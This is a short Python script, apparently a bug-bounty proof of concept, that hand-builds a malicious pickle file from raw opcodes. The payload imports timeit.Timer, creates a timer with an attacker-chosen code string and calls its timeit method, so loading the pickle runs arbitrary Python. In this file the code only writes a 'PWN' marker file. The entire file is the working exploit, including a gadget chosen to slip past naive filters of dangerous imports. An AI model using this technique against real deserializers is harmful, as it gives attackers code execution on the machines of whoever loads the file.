gen_timeit_timer.py

import pickletools

MARKER = "C:/Users/uozer/AppData/Local/Temp/opencode/timeit_PWN.txt"
OUT = r"D:\0projects\bountykimi\tmp\artifacts\timeit_timer.pkl"

cmd = "open(r'%s','w').write('PWN')" % MARKER

def s(x): return b"\x8c" + bytes([len(x)]) + x.encode()

# stack order: func Timer.timeit, then instance Timer(cmd), then 1, TUPLE2, REDUCE
payload = (
    b"\x80\x04"
    + s("timeit") + s("Timer.timeit") + b"\x93"   # function
    + s("timeit") + s("Timer") + b"\x93"          # class Timer
    + s(cmd) + b"\x85R"                        # instance = Timer(cmd)
    + b"K\x01"                                    # BININT1 1
    + b"\x86"                                     # TUPLE2 -> (inst, 1)
    + b"R"                                     # REDUCE -> Timer.timeit(inst, 1)
    + b"."
)
open(OUT, "wb").write(payload)
for op, arg, pos in pickletools.genops(payload):
    print(op.name, repr(arg))